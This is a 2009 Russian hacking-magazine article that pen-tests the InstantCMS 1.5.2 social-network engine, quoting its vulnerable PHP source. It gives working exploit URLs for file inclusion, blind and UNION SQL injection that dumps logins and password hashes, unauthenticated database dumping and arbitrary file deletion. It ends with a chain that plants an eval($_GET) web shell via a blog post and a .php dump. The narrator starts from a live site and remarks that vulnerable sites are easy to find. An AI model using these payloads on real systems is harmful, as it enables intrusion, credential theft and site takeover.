Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #131, НОЯБРЬ 2009 г.

Социальный взлом. PEN-testing популярного движка соцсети


Социальные сети внезапно стали очень популярны. Сейчас социальная сеть — это и способ пообщаться, и найти друзей, а для кого-то — заработать деньги. И нет ничего удивительного, что каждый захотел создать свою соцсеть. Как раз для этого был написан простой, удобный (и, как позже выяснилось, изобилующий уязвимостями) движок. Имя ему InstantCMS.

В преддверии атаки

Бродя по просторам рунета, я наткнулся на один сайт. Его контент очень напоминал CMS, и я решил узнать, что же он из себя представляет. Недолго думая, я попытался найти админку, вбив в адресную строку: www.site.ru/admin/

После этого мне оставалось только лицезреть поле ввода логина и пароля, а также надпись «InstantCMS — Авторизация». Навестив гугл с запросом InstantCMS, первым результатом я получил ссылку на официальный сайт двига — www.instantcms.ru. Последней версией на данный момент оказалась 1.5.2. Через минуту исходники лежали на моем жестком диске.

GRAY-BOX

Подняв на своем компьютере apache и mysql, я установил цмс и принялся за анализ исходного кода. Первое, что бросилось в глаза — это папка wysiwyg, в которой находился до боли знакомый FCKeditor. На мой взгляд, FCKeditor — лучший помощник при наличии локального инклуда. По адресу http://localhost/wysiwyg/editor/filemanager/connectors/test.html находится аплодер файлов. К сожалению, файлы с расширением .php, .phtml, .cgi и т.п. залить не получится, однако при наличии LFI это уже неважно, ведь файл с любым расширением выполнится как php-код. LFI+FCKeditor — и шелл у нас в кармане. Но все же это трудно назвать уязвимостью InstantCMS, потому что разработкой фцкэдитора занимаются совсем другие люди. Поэтому, так как все работает через mod_rewrite, я решил заглянуть в .htaccess и нашел там вот что:

#COMPONENT "RSS FEEDS"
RewriteRule ^rss/([a-z]*)/(.*)/feed.rss$
/components/rssfeed/frontend.php?&target=$1&item_id=$2

В надежде найти SQL-Injection я направился к файлу frontend.php и увидел там интересный код:

if (isset($_REQUEST['do'])){
$do = $_REQUEST['do'];
} else { $do = 'rss'; }
if (isset($_REQUEST['target'])){
$target = $_REQUEST['target'];
} else { die(); }
if (isset($_REQUEST['item_id'])) {
$item_id = $_REQUEST['item_id'];
} else { die(); }
...
if ($do=='rss'){
$rss = '';
if (file_exists($_SERVER['DOCUMENT_ROOT'].
'/components/'.$target.'/prss.php')){
$inCore->includeFile('components/'.
$target.'/prss.php');

Да это же чистой воды Local File Inclusion в переменной $target! Если в конфигурации PHP директива magic_quotes_gpc = off , мы можем проинклудить любой файл, указав нул-байтом конец строки таким образом:

http://localhost/components/rssfeed/frontend.php?item_id=1&target=../../../../../../../../../../../../etc/hosts%00

Следует заметить, что способ обхода magic_quote_gpc подстановкой >4000 слешей в данном случае работать не будет, так как путь до файла объявлен с помощью переменной $_SERVER['DOCUMENT_ ROOT'], а, следовательно, вызов функции getcwd() не выполняется.
У нас есть LFI, а залить файл с php-кодом внутри уже не проблема, — вспомни про FCKeditor. В случае если администратор отключил загрузку файлов в едиторе, ты можешь зарегистрировать нового пользователя в системе и залить аватар со злым содержимым :).

Укол вслепую и не только

Инклуд это хорошо, но и на этом я не остановился, и присмотрелся внимательнее к коду файла frontend.php:

if (file_exists($_SERVER['DOCUMENT_ROOT'].
'/components/'.$target.'/prss.php'))
{
$inCore->includeFile('components/'.$target.'/prss.php');
eval('rss_'.$target.'($item_id, $cfg, $rssdata);');

В папке components находились различные компоненты системы, но я искал такие, где находился бы файл prss.php, и нашел такой

function rss_blog($item_id,
$cfg, &$rssdata){
...
$cat = dbGetFields('cms_blogs',
'id='.$item_id, 'id, title');

Поиск функции dbGetFields привел меня к файлу /core/cms.php:

function dbGetFields($table, $where,
$fields, $order='id ASC')
{
$inDB = cmsDatabase::getInstance();
return $inDB->get_fields($table,
$where, $fields, $order);
}

По правде говоря, все эти скачки по файлам мне изрядно поднадоели, но финиш был близок. Файл /core/classes/db.class.php показал мне содержимое функции get_fields:

public function get_fields($table,
$where,
$fields,
$order='id ASC')
{
$sql = "SELECT $fields FROM $table WHERE $where
ORDER BY $order LIMIT 1";
$result = $this->query($sql);
if ($this->num_rows($result))
{
$data = $this->fetch_assoc($result);
return $data;
} else {
return false;
}
}

На всем пути моего путешествия я не встретил ни одной проверки значения переменной item_id, за исключением файла .htaccess.

Следовательно, у нас в кармане sql-injection, но, к сожалению слепая. Пример использования:

http://localhost/components/rssfeed/frontend.php?item_id=1+and+1=if(substring(version(),1,1)=5)&target=blog

Как быстро раскрутить слепую инъекцию — читай в статье Qwazar’a в предыдущем номере z. Инъекция это хорошо, а еще лучше — когда видишь результат запроса; через 10 минут анализа кода был найден файл core/ajax/tagsearch.php, а в нем — следующее содержимое:

$q = iconv('UTF-8//IGNORE', 'WINDOWS-1251//IGNORE',
$_GET['q']);
$q = strtolower($q);
if (!$q)
return;
define("VALID_CMS", 1);
include($_SERVER['DOCUMENT_ROOT'].
'/includes/config.inc.php');
include($_SERVER['DOCUMENT_ROOT'].
'/includes/database.inc.php');
$sql = "SELECT tag FROM cms_tags WHERE LOWER(tag)
LIKE '{$q}%' GROUP BY tag";
$rs = mysql_query($sql);
...

И к моему удивлению — также никакой проверки переменной $_GET[‘q’], плюс ко всему результат запроса выводился на страницу.

Запрос http://localhost/core/ajax/tagsearch.php?q=notexist tag}'+union+select+concat(login,':',password)+from+c ms_users+limit+1,1--+ показал мне логин и md5(пароль) первого пользователя в базе, а убрав limit, я получил всех пользователей. Данная SQl-Injection будет работать только при отключенной директиве magic_quotes_ gpc.

Больше чем дампер

Не рассчитывая на что-то большее, я залогинился в админке с целью найти способ заливки веб-шелла, и первое, на что обратил внимание, был дампер базы данных. Я решил найти его исходник в папке admin. Но он оказался совсем в другом месте, а именно — в core/ajax/dumper.php. Самое интересное, что при прямом обращении к нему не было никакой авторизации! А это значит, любой пользователь без админских привилегий может сделать дамп базы.

if ($inCore->request('file', 'str'))
{
$shortfile = $inCore->request('file', 'str');
} else {
$shortfile = date('d-m-Y').'.sql';
}
$opt = $inCore->request('opt', 'str', 'export');
$dir = PATH.'/backups';
$file = $dir.'/'.$shortfile;
...
if ($opt=='export')
{
include($_SERVER['DOCUMENT_ROOT'].
'/includes/dbexport.inc.php');
if (is_writable($dir))
{
$dumper = new MySQLDump($inConf->db_base,
$file, false, false);
$dumper->doDump();
if(!$inDB->errno())
{
$fileurl = '/backups/'.$shortfile;
echo '<span style="color:green">Экспорт
базы данных завершен.</span> <a href="/ backups/'.$shortfile.'" target="_blank">Скачать файл</a> | <a href="#" onclick="deleteDump (\''.$shortfile.'\')">Удалить файл</a><div class="hinttext">Чтобы скачать файл, щелкните правой кнопкой мыши по ссылке и выберите "Сохранить объект как..."</div>';
} else {
echo '<span style="color:red">Ошибка экспорта базы</span>';
}
} else {
echo '<span style="color:red">Папка "/backups" не доступна для записи!</span>';
}
}

При обращении к файлу с параметром opt, равным export, и file, равным dump.sql, в папке /backup/ создастся файл dump.sql.

Пример:

http://localhost/core/ajax/dumper.php?opt=export&file=dump.sql

Пробежав глазами по коду, я нашел удаление произвольных файлов:

if ($opt=='delete'){
if(@unlink($file)){
echo '<span style="color:green">Файл удален.</
span>';
} else {
echo '<span style="color:red">Ошибка удаления
файла.</span>';
}
}

Польза от этой уязвимости незначительная, но все же есть. Пример использования:

http://localhost/core/ajax/dumper.php?opt=delete&file=../index.php

Ну и, наконец, самое интересное, — мы можем делать бэкап, причем можем задать любое имя файла. Что же нам мешает создать файл с расширением .php, а перед этим записать в базу php-код? А мешают фильтры. XSS-фильтров разработчики поставили очень много, но я нашел место, где символы «<>» не обрезаются. Для этого регистрируемся на сайте и идем в свой профиль, а именно — в раздел «Мой Блог», создаем там персональный блог, переходим в него и постим новую запись:

<?php
eval($_GET[ev]);
die;
?>

В итоге, в БД запишется наш php-код и останется только создать дамп с расширеним .php:

http://www.example.com/core/ajax/dumper.php?opt=export&file=shell.php

Теперь наш шелл создан и находится по адресу: http://www.example.com/backup/shell.php?ev=phpinfo();

Outro

Написать свою CMS довольно сложно, но еще сложнее уследить за безопасностью. А так как личные блоги и соцсети плодятся, как грибы после дождя, найти потенциально уязвимый сайт становится проще. Учись на чужих ошибках, и помни, что все, что ты только что прочитал, написано исключительно с целью ознакомления, и ни автор, ни редакция не несут ответственности за твои действия.

Содержание